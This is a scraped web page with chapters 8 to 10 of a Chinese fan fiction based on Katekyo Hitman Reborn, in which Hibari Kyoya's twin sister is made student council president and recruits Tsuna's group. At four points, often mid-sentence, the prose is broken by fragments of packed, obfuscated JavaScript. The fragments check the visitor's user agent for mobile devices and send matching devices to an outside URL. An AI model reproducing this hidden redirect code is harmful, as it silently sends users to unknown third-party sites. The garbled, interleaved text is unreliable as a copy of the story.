d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189411|181063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女人捷足先登了…” 这个人是不是有点入戏过头了? 我没有太在意,将桌面上的讲义与作业一并收好放入袋中(正是沢田递给我的原本装着外套的那个),冲着两位同学礼貌性地微笑了一下。 鉴于明天还有一天病假,此时我的心情十分不错,从口袋里摸出一块黑巧克力,弯下腰,轻轻放到Reborn手上。小 婴儿从善如流地收下,仰头注视着我,对我勾起一个纯真的笑容,表情仿佛在说“下次见”。 而后,我站起身:“时候不早了,我准备走啦。沢田君和狱寺同学也早些回家吧?毕竟带着小孩子,还是不要让家里担心为好。” 这两人也不知道是因为什么,放学后还留在学校,如果运气不好,撞上心情糟糕的哥哥,搞不好他们俩都要被痛扁一顿。 抱着这样的关怀,我又提醒了一遍:“这个时间段,学校里可能会有危险的东西哦。” 虽然似乎很因为某种原因看起来有些虚弱,沢田纲吉还是尽责地吐槽: “危险的东西是指云雀学长吧!?” 这时,我已经走到教室前门,正打算道别走人,忽然有一种熟悉到诡异的预感,我下意识地抬起头,抿唇。 “……” “危险的东西已经来了呢。”身后,Reborn幽幽地说。 而后,挡在我跟前的人发出一声轻飘飘的鼻音。 “嗯?” 不用抬眼,我知道又是他。 不等我开口,教室里的沢田便发出了“咦——云雀学长?!”如此这般的哀鸣,尽管他似乎很努力地想要控制音量,但云雀恭弥还是听见了。 不过,今天兄长的心情显然不错。他只是淡淡地扫了眼教室,随口说:“现在逗留是违反风纪的。” 随后,在沢田惶恐、狱寺不满的目光之下(不知道为什么,这两个人居然什么话也没说),恭弥单手按住我的肩膀,理所当然地无视了其他人。 “走了。” “……” 这让我回想起了国小时候哥哥来接我放学。那时候他也是这样,旁若无人地扔下一句“走了”就在大家的目光下把我带走,以至于一直毕业我都没有交到愿意一同上下学的朋友。 思绪在这里略微卡了壳,我又想起沢田纲吉。 说实话,刚才虽然看起来游刃有余地说着“朋友不都是这样吗”,但其实我并未有过多少交友经验。甚至,我还相当担心“朋友”这种程度的关系只是自己的一厢情愿。 ……会是一厢情愿吗? 这样想着,步伐不知不觉便缓下来。我忍不住转头,也不知道期待着什么,最后一次看向身后。 教室里,夕阳透过薄云,从敞开的窗户里洒落橘红的光,将桌椅讲台,连着教室里的少年,一并渲染出温暖的橙色。 我看见沢田纲吉被落日映照着的眼睛里,闪烁着细碎的金光。 他张了张嘴,声音很小,隔着太远的距离,我听不太清;但这并不妨碍我从口型读出他轻声说的话。 “明天见,京弥同学。” 他说。 8. 学生会 “…这是什么?” 和往常一样与哥哥面对面吃完饭,他将一张信封推到我跟前。 象牙白的信封,压纹用的是纤细却板正的字体,直白的印着“Hibari”,旁边附带一张极为普通的蓝色储蓄卡。 云雀恭弥略一挑眉:“你没睡醒?” “这只是对当前状况表示不理解的方式,”我诚恳地吐槽,“你真的很没幽默感,恭弥。” “我不需要那种东西。” 云雀恭弥说完,靠回椅背,略昂起下巴,示意我打开信封。 我问:“你不看吗?” “这封是给你的,连同银行卡。”哥哥说,“我的已经看过了。” 我于是索然无味地拆开家书的信封。 虽然工作要求他们常年在国外,但我的父母其实相当传统,在这个网络普及的年代,他们仍然喜欢通过写信的方式对我与兄长进行安排。 在我的印象里,父母几乎没怎么着家过。打有记忆开始,照顾我和兄长的都是父母请来的人,而在我们稍微能自理之后,更是连这种“代理监护人”都被取消,只让我们自己聘请家政,勉强处理家务而已。 我一度怀疑这是不符合日本法律规定的。 不过无所谓,毕竟我从小到大都不太喜欢依赖长辈,而兄长更是一个人风生水起地混成了地头蛇。 话说回来,凭他时不时去商业街收保护费的举措,总感觉我们就算被断了生活费,也不会和平时有太大差别。 这样一想,这两个甩手掌柜完全没什么存在的意义啊!非要讲的话,好像风纪委员会使用接待室的权限是母亲打电话和校长说明的……除此之外,这两个人真的有起到什么作用吗? 一边在心里吐槽着,一边随意地拿起信纸,慢慢读起来。 这封信来自母亲。 【亲爱的京弥: 闲话无需多谈,多余的关怀想必你也不需要。总之,我从校长さん那里已经了解你与哥哥的近况。 身为云雀家的孩子,恭弥所建立的风纪委员会已有起色,这令我与爸爸深感欣慰。 同时,我注意到,你优异的成绩与得体的举止在学校中也引起了很多人的注意,然而恭弥那小子主意太多,竟敢三番屡次地坏我女儿姻缘,真是不可饶恕! 听说你已被棒打鸳鸯数次,妈妈很心痛。想要帮你,可想起你哥哥只在乎他的风纪委员会,又束手无策。毕竟这是他一手建立的东西,为人父母,总不好连这点权力都剥夺(读到这里的时候我已经怀疑自己是不是烧糊涂了)。 不出意外的话,恭弥欣赏战斗力卓越的男人;另一方面,我也不希望我的女儿活在她兄长的阴影之下(虽然我确实因为风纪委员而分手了几次,但是真的有这么严重吗)。 综上所述,妈妈决定给你提供一个机会。 在你兄长的风纪委员会略有起色后,我们和校长沟通,取消了并盛中学学生会的存在。但是现在,我认为,京弥必须要拥有足以和哥哥抗衡的东西,才能追求想要的男人(我连续看了两遍,才确实她说的真的是这两个字)。 所以,我向校长さん提议,重启并中学生会,并且已经内定你为会长,与你哥哥抗衡。从此以后,天空任鸟飞,海阔凭鱼跃! PS:另附一张储蓄卡,作为你势力的启动资金并活动经费。 永远支持你的 妈妈(和爸爸)。 20XX年4月16日】 “……” “…………” “………………” 我一把将信拍回桌上。 云雀恭弥眼皮掀起,气定神闲地瞥了我一眼,脸上露出一种“意料之中”的表情,这隐隐的悠然闲适让我有点想揍他。 少顷,我问:“妈妈和你说了吗?” “你是指学生会?”他颇为淡定地哼了一声,在我问出口前抢先回答,“知道。” 我更加无话可说。 之前虽然提过,我的父母是一对毫无责任心的甩手掌柜,然而在读完这封信之前,我还是对他们抱有一些幻想的……例如不求有功但求无过的教育理念什么的。 现在,我可以笃定,这两个人完全就是吃饱了撑着、把自己家的双胞胎当蛐蛐斗! 蛐蛐一号说:“恭喜,京弥会长。” 他居然还兴致勃勃! 我倒吸一口凉气。 昨天的低烧其实当晚就退得差不多了,今天下午自己回学校拿讲义也是这个原因。然而此时此刻,我是真真切切地感受到一股头晕目眩,宛如路过的狗被人莫名其妙踹了一脚,心里充斥茫然、困惑,以及一股无名鬼火。 平心而论。 由于晚一年入学,我升入并中时,“云雀”这个姓氏早已因兄长的缘故响彻全校,所以从最开始,我就被众人以“云雀妹妹”的目光打量着。 最开始,搭讪的人其实很多,无论男女,要么是出于对云雀的试探,要么是想通过我获得某种特权,出自本心想要靠近的人其实很少。 而我一向反感被人过多注视,为此私下(独自)大发了一通脾气,结果不知怎地被云雀恭弥察觉到了,隔天,所有试图和我搭讪的人都被风纪委员揍了一顿。 从此以后,我周身遍布流言蜚语。 对此,我的惯用手段是冷处理。然而这种方式在国小、家里尚且有监护人存在、一定程度能限制兄长的时候还算管用,到了国中却很难奏效了。 原因其实也就那样:云雀恭弥不会突然停止他对校园的管控,而我也不会突然就与哥哥一刀两断。 如果只是如此,我尚且可以忍受。但最令我不满的是,兄长对我的人际交往也有着超乎寻常的掌控欲。 对我表达出好感的异性,轻则被风纪委员恐吓,重则受浮萍拐一顿打。 ……正如之前那位交往不过三天的高桥同学。 这一点实在令人窒息。 平心而论,我与云雀恭弥,是从小一起长大的孪生兄妹。父母鲜少着家,苦情一点地说,我和他几乎是相依为命。 一方面,我讨厌他总是管东管西、影响我平凡的校园生活,另一方面,我又深知兄长对我难以言表的关怀,恰如我常常担心他有没有按时吃饭一样。 认真沟通他从来不听,而我也无法说出更绝情的话。 ……这样一想,其实。 其实,用母亲说的方式,是不是会更管用呢? 思绪百转,现实里不过也才过去三五秒种。 最终,我默默拿起手机,对比着信末附带的银行卡号与密码,冷静地查询来自父母的启动资金。 ……然后,盯着余额后面的六个零,露出了恍惚的神情。 - 人心中一旦有了挂念的事,时间就会变得飞快。 距离我欣然接下“成为学生会主席”的支线任务,已经过去了一个礼拜。 当时,在我默不作声地将信纸折好放回信封,没有表达更多抗拒之情后,兄长终于慢半拍地意识到我的态度。 他一只手撑着下巴,微微歪头,以一种平淡中带着困惑的语气问:“京弥,你很缺钱吗?” 每个月都要收保护费的人就别问了! 我当即否决,并且严酷地告诉他:和钱没关系,这封信是事关云雀尊严的战书。 云雀恭弥:“哇哦,战书。” 于是,我刚获得新任学生会主席的称号,就立刻收到了风纪委员会下达的通知。 通知如下: 【学生会凑不齐五个人的话,就地解散。会长也会被咬杀。】 我:“……” 这通知出自谁手,不用看都知道。 不过,风纪委员会的日常事务,一般都是由副委员长草壁学长处理的。 这就代表着,如果让云雀恭弥自己下达某些通知,就很容易因为不熟练而出现纰漏。 比如—— “相关事项我已经收到了。但是,由于风纪委员会的通知只要求凑齐五人、并没有规定截止日期,所以我决定等自己熟悉学生会具体事务后再进行招新。” 我客气地说。 第一节课刚刚下课,留着飞机头的风纪委员就把我喊到走廊,吭吭哧哧地和我交代了来自风纪委员会的询问与催促。 然而,根据我的了解,云雀恭弥交代人做事从来不会超过两句话。想要应对这种情况,当然是一口一个规章制度、半句不离章程条例才行。 毕竟,我比谁都清楚风纪委员的选拔标准——出类拔萃的战斗力,以及一颗对委员长的敬畏之心——简言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189412|181063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之就是武斗派,除了草壁学长那种个例,这些人的嘴皮子根本斗不过我! “可是委员长已经催促三回了……”风纪委员有些困扰地皱起眉。 然而,由于相貌过于老成(倒不如说风纪委员都这样),他的表情似乎被偷偷关注着这边的同学们曲解为“生气”之类的状态了。 于是,收到的来自四周的视线更多了。 我对这样的围观有些接受不良,勉强忽视,面无表情地回答:“之前的通知文件还在,我都是按流程办事的。” 言下之意:如果对这种处理方式不满意,就去找云雀恭弥,让他反思自己的通知是不是下得有问题。 风纪委员额角滑过一滴冷汗。我毫不怀疑他在我脸上看到了某人的影子。 “至少需要让风纪委员会看到进度……” “蓝波,快停下!” 走廊里忽然传来谁的叫喊。 这声音有点耳熟。我愣了一下,往声源处望去,便看见一只黑白相间的、矮小的不明生物“啪嗒啪嗒”地从远处窜过来。 这东西一边奔跑,一边抬手在疑似头发的黑色不明物里掏啊掏,掏啊掏。 我被吓了一跳,眼看它越来越近,下意识地想后退一步。 这生物——靠近了看似乎是个奇装异服的小孩——跑着跑着忽然从爆炸头里摸出两个手榴弹,反手扔向身后,口中还带着哭腔大喊。 “去死吧Reborn!!” 然而,由于力气不够,其中一只手榴弹没能飞出去,而是颤颤巍巍地撞上了走廊一侧的墙壁,然后“啪”一声掉落到地面。 我的目光追随着被抛出的东西,一路转头,最后沉默地低下头,看着脚边。 紫色的手榴弹孤零零地落在那里。 然后。 “——轰!!!” 走廊一阵惊天巨响,空气中是爆炸带来的滚滚烟尘。 我单手捂住口鼻,在浓浓烟尘中费力地把走廊的窗户开到最大。 隔着浓烟,我只看到离自己最近的风纪委员……他一脸茫然,大概也没想到学校里会忽然出现诡异的爆炸事故,呆滞地和我对视。 我:“……” 我怎么知道学校为什么会爆炸啊! 借着直觉,我弯下腰,从浓烟中用力一抓,一使劲,提起一只灰头土脸的奶牛服……小孩? 好奇怪的毛发,这东西真的是小孩吗…? 我睁大双眼,端详着被提着后颈的生物。 后者瞪着眼睛和我对视两秒,忽然“呜”了一声,四肢疯狂挣动,仿佛一只溺水的乌龟,在半空中笨拙又狼狈地游起泳来。 “蓝,蓝波大人被抓起来了……”他结结巴巴地说。 完全不知道他在说给谁听。 我拎着他后颈,用力将他抖了抖,直到他双眼变成转动的圈圈,还是什么道具都没掉落,才问:“你刚刚扔出去的手榴弹是哪里来的?” 自称蓝波的小鬼:“葡萄软糖……” “哈?”我说,“手榴弹会从软糖里变出来吗,你是哆啦A梦吗?话说长得确实奇形怪状的……” 这时,爆炸头小鬼脑袋上转圈的星星终于勉强消失,人似乎也清醒了。他盯着我看了一会儿,忽然露出一个恍然大悟的神情,指着我大喊道:“啊,黑色头发的老巫婆!” 我:“……?” 老巫婆…? 我倒吸一口凉气,捏紧拳头。 旁观的风纪委员仿佛这才回过神来,一只手胡乱擦了擦脸上的灰尘,瞪大眼,冲着我大喊:“大、大小姐!委员长也不打小孩的!” 云雀恭弥不打小孩和我有什么关系? 我莫名其妙,刚想回答,手里的蓝波却挣动起来。 这小孩某种意义上相当敏锐,或许是察觉到我方才的情绪波动,立刻扭着身子大声重复起来: “黑头发老巫婆!黑头发巫婆!老巫婆!嘘嘘——巫婆巫婆~” 我:“……” “大小姐!!” “闭嘴。”我扭过头,阴沉地看向风纪委员。 对方汗流狭背。 “风纪委员会不是要看我的启动进度吗?”我拎着蓝波,咬牙切齿地、一字一顿地说,“爆炸的事情,由学生会来处理。” 9. 成员 原来最开始听到的声音不是错觉,刚才沢田纲吉确实也在附近。 直到领着他们走到天台,关上门,我才停下来,观察了一下涉事人员。 除却满脸苦相的沢田之外,还有那个在抽屉里塞满炸.药的奇怪转学生狱寺隼人,以及一向好人缘的山本……哦,还有那个乱扔炸药的小鬼。 我多看了两眼蓝波——这小鬼被沢田抱在怀里,趁他哥哥不注意,正拉着下眼睑冲我吐舌做鬼脸。 …这孩子真的是沢田的弟弟吗? 沢田纲吉浑然不觉怀里小孩的动作,还在苦兮兮地点头哈腰: “……总之,破坏了走廊真的很对不起,京弥同学!” “……” 我盯着疯狂鞠躬的棕发男生,堂而皇之地走起了神。 说实话,因为学生会的事情始终没有头绪,我一直很发愁。本来觉得这次是个不错的机会,可以借机宣扬“学生会重启”的消息,想借机会此大干一场的,结果—— 结果蓝波的监护人居然是那个善良软弱的沢田纲吉。 抛开他的性格不谈,单是看他无奈又悲惨地道歉的样子,就能看来此事对他也是无妄之灾……真是的,总有种一脚踢到棉花上的无力感。 是别人倒也还好啦,沢田平时已经那么倒霉了,我实在不忍心刁难啊。 思忖片刻,我将视线挪到平时很倒霉的沢田君脸上。 对方对我的心理一无所觉,此时此刻,已经低着头,满脸无奈地和怀里的小孩开始了(毫无作用的)沟通。 沢田:“真是的蓝波,不是说过了不要在学校里乱扔奇怪的东西吗?” 蓝波:“奇怪的东西是什么?蓝波大人想找早上妈妈给的葡萄软糖——啊,我要吃巧克力,阿纲!” “刚刚不是还说要葡萄软糖的么?真是的,这种时候哪里去给你找啊……等等,别无视我的话,赶紧向京弥同学道歉啊!” “我不管,蓝波大人要吃巧克力,笨蛋阿纲~蠢纲~” “你倒是好好听人讲话啊!” 我:“……” 再抬眼,我将视线移向沢田身后站着的山本和狱寺。山本单腿微曲,神情松散而快乐,正弯着眼看沢田君和蓝波对话,要吵起来的时候才摆着手打圆场说“好了好了”;狱寺隼人我不太熟,但此人脾气似乎不太好,正黑着脸瞪向蓝波,背后隐隐散发出要揍人的黑暗气息。 两个人如同RPG游戏中的主线NPC,对目光极为敏锐,而且一旦和他们对上视线就会开始说话。 狱寺:“你这蠢牛竟然敢这样和十代目说话!” 狱寺(对上视线后):“喂,你还想扣留十代目多久!” 山本:“好了好了。不过阿纲说得对,在走廊乱扔东西是很危险的,下次不要这么做啦。” 山本(对上视线后):“Hi,云雀?” 我:“…………” 怎么回事啊,看到这几个人之后就更加不想计较了,这群人浑身上下都是一股“走到哪里都会人仰马翻”“不管怎么样都会再犯”的气质啊。 好诡异。 但是刚刚在走廊,已经和风纪委员放出了狠话,想必很快就会传入哥哥耳中。如果什么都不做的话一定会被他狠狠嘲笑的。 除此之外,如果他心情不好,搞不好还会对(根本还没成型的)学生会下手,到时候我的启动资金和尊严岂不是一块丢了?! 这样一想,眼神就情不自禁地犀利了起来。 “沢田君。”我说。 “…是?!”他露出如临大敌的表情,有些紧张地望了过来。 想了想,我严肃道:“请在这周内交一份八百字的检讨给我。” “好,好的。”他紧绷地回答,听到我长久不语,又目光闪烁着觑了我一眼,小心翼翼问,“然后呢…?” 什么然后? 我皱起眉:“然后把小孩看好,下次不要再带到学校里了。” 沢田纲吉:“欸……” 我:“没什么疑问的话就回去吧。” “等等,”一直沉默着的山本武忽然举起一只手,笑着看向我,“阿纲的意思应该是,除了检讨之外还有什么惩罚吧?” 狱寺似乎有点不满,压低声音驳斥道:“喂,既然已经让十代目回去了就别再问惩罚的事了!” “嘛,嘛,有什么关系。云雀是个好人,就算是惩罚也不会太过分的。” 就这样当场发上好人卡了吗!还有这个真的不算道德绑架么? 我简直想要叹气了。 随后,就见山本挠挠头:“毕竟我和阿纲是走在一起的。而且刚刚走廊损毁还挺严重的,没能制止阿纲家的小鬼我也有一份责任,所以云雀,把我也一起惩罚了吧?” …狱寺的眼神犀利了起来! 没等我开口,他便向前迈了一步,有些激动地盯着我,目光灼灼: “给我下双倍的惩罚!” 我:“……哈?” “身为左右手,必须与首领有难同当,而不能让其他人招摇显摆。”他说着,回头瞪了一眼山本武(山本似乎完全在状况外),严正道,“你不是学生会的人吗?要惩罚十代目就先双倍惩罚我好了!” 我:“……” 沢田:“……” 别在这种事上产生胜负欲啊!而且这话说得好像我是什么恶人一样,这人到底在燃什么! 我扭头看了眼,沢田纲吉果然露出了同样的表情,显然正在心里吐槽。 还好刚才把他们带到天台了,如果在走廊上的话一定会被围观的。 但说实话,我又不是云雀恭弥,就算要惩罚也不能冲上去把他们揍一顿。可是要说将功补过,也不能让他们去把被炸毁的走廊立刻修好。 我伸手摸了摸下巴,一时竟有些为难。 “既然如此,让他们加入学生会如何?”一道耳熟的声音突兀地插进来。 我愣了一下,抬眼,才发现天台紧闭着的铁门不知什么时候已经打开了,走过来的人是…咦,这人是谁啊? 仿佛看透了我的不解,对方勾起嘴角,迈着悠然的步子走到我面前。 “我叫柏林,是并中学生会特聘的指导教师。”一身黑色西装、打着整洁领带的小孩子对着大家说。 “……” 我有些困惑地注视着他,看着他从怀里掏出一张纸,抬高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189413|181063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手臂,举在我面前。 “这是聘请文书,上面有校长的印章、还有云雀理事长的签名喔。” 他睁着黑黢黢的眼睛望向我。 “?!” 我微微睁大眼,低头盯着那份文书,一路扫视,果真在这份文件末端看见了母亲的签名,几乎想要倒吸一口凉气。 说好交给我学生会却派了指导教师来吗…呜哇,不会是眼线吧!埋伏在学校里偷偷观察我和哥哥的动向,再定时汇报给父母什么的…… 不过,话又说回来,总觉得这个叫柏林的人很眼熟,好像在哪里见过。 很眼熟的指导教师:“怎么样?” 我一时不知如何应对。 反倒是沢田,抱着扭来扭去的蓝波看了一眼他,眼神忽然变得极为麻木,连语气都无力了起来:“Reborn……” “你是说那个英俊的世界第一杀手吗?我只是个普通的指导教师,不知道呢。”自称柏林的小婴儿语气天真地回答。 沢田纲吉:“……” 柏林没再管他,反而又看向我:“学生会不是正缺人手吗?风纪委员会刚刚下了第二份通知,说如果24小时内凑不齐规定的人数,就要原地解散学生会呢。” 我顿了顿,扫了眼面前四个人(沢田还在试图让蓝波安静下来,狱寺则单方面和山本陷入争论),又低头看了眼举着文件、看起来很眼熟的柏林老师,干巴巴道:“其实解散了也未尝不……” 柏林:“理事长拨下的活动经费也全部没收。” “绝无可能!”我当即说,“并中学生会一定不可能被解散的!” 沢田纲吉:“变脸好快!” 我以一种极端冷酷的目光注视着他,顺便在心底默数了一下:抛开自己不说,如果算上同班的这几人,学生会也才四名成员,还是不能和风纪委员会交差。 还差一个。 我将目光移到蓝波身上。 爆炸头小鬼嘬着手指,目光呆滞地盯着我,和我对视两秒后,咬着手含糊不清地说:“费○罗…巧克力?” 我眼皮一跳,额头上蹦出井字。 “学生会还缺个打杂的,暂时没有人手的话就让他替上吧。”我冷冷地说。 “欸?!”沢田露出惊愕的表情,一时没控制住声音,“蓝波也要加入学生会吗?!” 等我和他对上视线,他又“唰”地低下头,随后小心翼翼地抬起眼,如同某种谨慎的草食动物,仿佛是斟酌着开口,带着明显的商量语气问:“一定要是蓝波吗?” 随后,他有些紧张地摆了摆手,又找补说:“没有质疑京弥同学的意思!只是蓝波他笨手笨脚的不太适合……” 咦?他居然没有吐槽“这年纪的小孩怎么可能进学生会”之类的话,看来真的很紧张啊。 想了想,我回复道:“如果能找到顶替的人就可以。” 沢田似乎松了口气,但很快又露出了“到底能让谁来顶替啊”这样痛苦纠结的表情。 我若无其事地强调道: “为了校园内部的公平与正义,务必要在24小时之内找到喔。” “……不,你完全是为了活动经费吧!” 10. 只要有爱就可以 “这是学生会的成员名单,人数已经够了喔。” 我将填好的表格拍到云雀恭弥面前。 此时刚好是午餐时间,风纪委员今天给他上供的午餐是汉堡和椰奶,而这位并盛地缚灵(据说二三年级的前辈都是这样称呼他的),此时已经享用完他的安格斯牛堡,正慢条斯理地打开易拉罐的拉环,准备饮用他的椰奶。 我睁大眼,紧紧盯着他。 云雀恭弥:“……” 他哼了一下,终于在我目光的催促下拿起了表格,扫视两眼。 随后,他抬起头,问道:“碧洋琪是谁?” 我说:“后勤部部长。” 他说:“学校里有这个人吗?” 我:“有的。”其实我也不确定。 兄长放下手中的A4纸,面无表情地看向我。 通常来说,被他这样直视的学生都会瑟瑟发抖地说“对不起委员长我错了”,不过这样的眼神我已经记不清看过多少次了,所以内心毫无波澜。 老实讲,大家会怕他这种表情,不过是因为这家伙经常一言不合就揍人。而就像宝○梦训练家对上视线一定会开启战斗一样,被他用这种盯着超过三秒的人都比较容易挨打——尽管他说不定什么都没想。 因为哥哥思考“晚饭吃什么”的时候也是这种表情。 因此,我理直气壮道:“就连柏林老师也承认名单合格、在教务处登记过了,你现在要驳回也来不及了,因为一个新的王朝正在冉冉升起,而我将成为推翻旧时代的第一人!” “哇哦,”云雀恭弥笑了,“你对自己很有信心吗,京弥?” 我微微扬起下巴,算是默认——其他不提,我对学生会的活动经费是真的很有信心。 只是没等我再说点什么,他便拉开了办公桌的抽屉,从里面取出一只黑色的袖章,稳稳地抛到了我怀中。 我下意识地伸手接过,低头望去。 深黑的袖章上用红线绣出了“生徒會”的字样,红线在阳光下明暗流动,远远看上去相当醒目。 “下周一的例会上,草壁会正式通知,上任时记得戴上。”他似乎在思考要交代的内容,顿了顿,又说,“记得提前选好部活教室汇报给草壁,需要更改制服的话也尽早。” …他是真的想教我当会长吗! 不对,话说回来,这么一提的话风纪委员那个一看就是不良少年的特殊制服果然是恭弥一手操办的啊,亏他当时还死活不回答…… 我想了想,问:“如果部活教室已经被其他部门占领了呢?事先沟通吗,还是说校级部门有优先使用权?” 云雀恭弥眉毛一扬,仿佛很不解地偏了偏头,以一种“你在说什么”的眼神望向我。 我:“?” “当然是抢走了。”他回答说。 我:“……”很好,不愧是你。 - 回到教室时已经快要上课了,中午吃便当时拼起的桌子也恢复了原状,大家抓紧这课前的几分钟,三三两两的聚在一起闲聊。 我半只脚刚踏进后门,便听见窗边传来的招呼声:“哟云雀!名单提交得还顺利吗!” 转头看去,果然是山本武。在身旁满脸不爽的狱寺与忧心忡忡的沢田的衬托下,他阳光得简直像另一个世界的人。 我从善如流地走到他们课桌边,随口道:“还行吧,程序上应该不会有太大问题。” 沢田纲吉原本正紧张地盯着我,听到这句话,才终于松了口气,很庆幸似的小声自语:“居然通过了,太好了…!” 这表情完全就是暑假作业只随便写了两页,开学第一天提心吊胆了好久、终于等到老师宣布大家都过关的样子啊! 联想到名单上那个一眼就是外国人的名字,我抱起手臂问:“碧洋琪是谁?” 沢田纲吉:“!!!” ……现在变成了“通过作业检查后刚松了口气又被同学传话叫去老师办公室”的表情。 原本其实没想太追究的,不过看沢田君的表情,难道那个碧洋琪是什么很不得了的人物? 想了想,我又追问道:“而且我看填的还是‘后勤部部长’,原本以为会是沢田君担任的…对方莫非是很有管理能力的高手?” “那个碧洋琪吗……”沢田重复了一遍我的话,肉眼可见地嘴角抽了抽,不知道想起了什么。 随后,他才想起糊弄似的,颇为刻意地挠了挠头,强颜欢笑着说:“啊!那个,碧洋琪确实,是个很有魄力的人……啊哈哈……” 我:“嗯?” 被我目不转睛地直视,沢田纲吉的笑容愈发僵硬了。 仿佛做了复杂的心里斗争,他顿了许久,才微微提高音量,开口道: “京弥同学,其实——” “不管你的事吧!” 另一道声音忽然响起,打断了他的话。 狱寺隼人臭着脸看向我,硬邦邦地插.入了对话:“昨天不是你说只要凑够人就可以吗?既然蠢牛都可以,那个人是什么身份根本不重要吧?” 话是这么说,不过这家伙的语气还真是让人不爽啊? 我说:“因为蓝波还是小孩,未来也有可能会在并中上学,但万一碧洋琪是个八十岁的老爷爷呢?那就真的和学校没有关系了啊。而且我是会长,关照一下后勤部部长的身份也没问题吧?” “碧洋琪这个名字怎么看都不可能是八十岁的老爷爷吧!”沢田纲吉当即吐槽。 这时,我看到墙壁上有块瓷砖略微松动了一下。 紧接着,便看见那块瓷砖如同大门一样被推开,里头缓缓走出一个黑色西服的小婴儿。 我认出那是之前沢田君的家庭教师……不过除此之外还是很眼熟啊,总感觉昨天好像刚见过这张脸,是错觉吗? “碧洋琪可不是八十岁的老爷爷哦。”他三两下跳到课桌上,抬起头与我对视,嘴角微微翘起,眼神里看不出什么情绪。Reborn说,“而且,你一会儿就可以见到她了。” 在沢田“你怎么又从奇怪的地方出来了”的吐槽声中,我略一思考,随后惊呼:“碧洋琪原来是女性!” 狱寺隼人:“你是白痴吧,这种事情还要有必要思考吗!” 山本:“嘛,嘛,因为阿纲在表格上填的是片假名,云雀也不认识她所以很正常吧。” 终于,在教室嘈杂的背景音中,从办公室回来的班长踩着上课铃声推开了前门。 “樱井老师因为突发事故请假,所以今天的家政课由代课老师安排,各位现在可以准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189414|181063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备前往教室了。” - 家政的代课老师是一位留着粉色长发、穿着帅气的年轻女性,光看外表就给人可靠的感觉,不止是我,周围已经有不少同学开始窃窃私语地讨论着这位老师。 “呜哇,好帅气!话说这是石田君喜欢的类型吧?” “虽然很对不起樱井老师,不过我更希望她能长期来教我们呢……” “而且是外国人呢,和狱寺君一样,五官很立体呢——咦,狱寺君的脸色怎么有点奇怪?” 我有一搭没一搭地听着同学们的讨论,忍不住顺着她们的话,瞟了一眼旁边的狱寺。 只见他脸色发青,低下头,左手紧紧地捂着自己的肚子,一声不吭。就连一向粗线条的山本都注意到了,问他要不要让自己或者沢田扶他去医务室。 我:“……” 等等,好像不止是脸色有点奇怪的问题,这个人看起来好像要死了啊! 这时,站在最前面,一直没有开口的代理教师终于开始了自我介绍: “我的名字是碧洋琪。今天起担任你们家政课的代理教师——现在可以开始做你们的料理了。” 站在她旁边的班长愣了一下,有些错愕地看着碧洋琪,等待了片刻,发现对方已经低下头开始确认桌面上调味料的品牌、貌似是真的不打算再说话了,才有些焦急地小声问: “碧洋琪老师、不教大家一下料理的制作过程吗?” 碧洋琪:“啊,你说得有道理。” 随后,她敲了敲桌面,制止了大家的交流,又开口道: “我的宗旨是,有爱就可以做出美味的料理。所以不需要其他流程细节,只要用爱去制作就可以,无论做什么料理都没问题——最后我会对你们的料理进行评分,现在就开始吧,让我看看你们用爱意制作出来的成品!” 好燃、但不知道在燃什么! 由于下个礼拜学生会就要开的运作,期间还有不少事项需要大家共同处理,沢田纲吉主动邀请我加入了他们的烹饪小组,刚达成家政课小组的最低需要人数。 沢田和狱寺不谈,山本家可是开寿司店的,手艺必然不会差。我假意犹豫了一下,欣然答应。 按照之前樱井老师的上课流程,评分最高的小组不仅可以得到额外的加分,评分最低的小组成员最终的家政课平时分也会有一些影响。 如果学期末课业全优的话,就可以从母亲那里得到一大笔奖励金,因此即使是家政课也不能松懈——哪怕在其他组商量着“为了吃到帅气的碧洋琪老师的料理一定要全力以赴”的情况下,我也要拿到额外的加分! 然而,不知道为什么,听到我话的沢田纲吉“噫”了一声,露出了惊惧交加的恐怖表情,好像预感到了某种可怕的事情。 没等我多问,脸色一直很差的狱寺竟然“呃”的一声跪了下来。 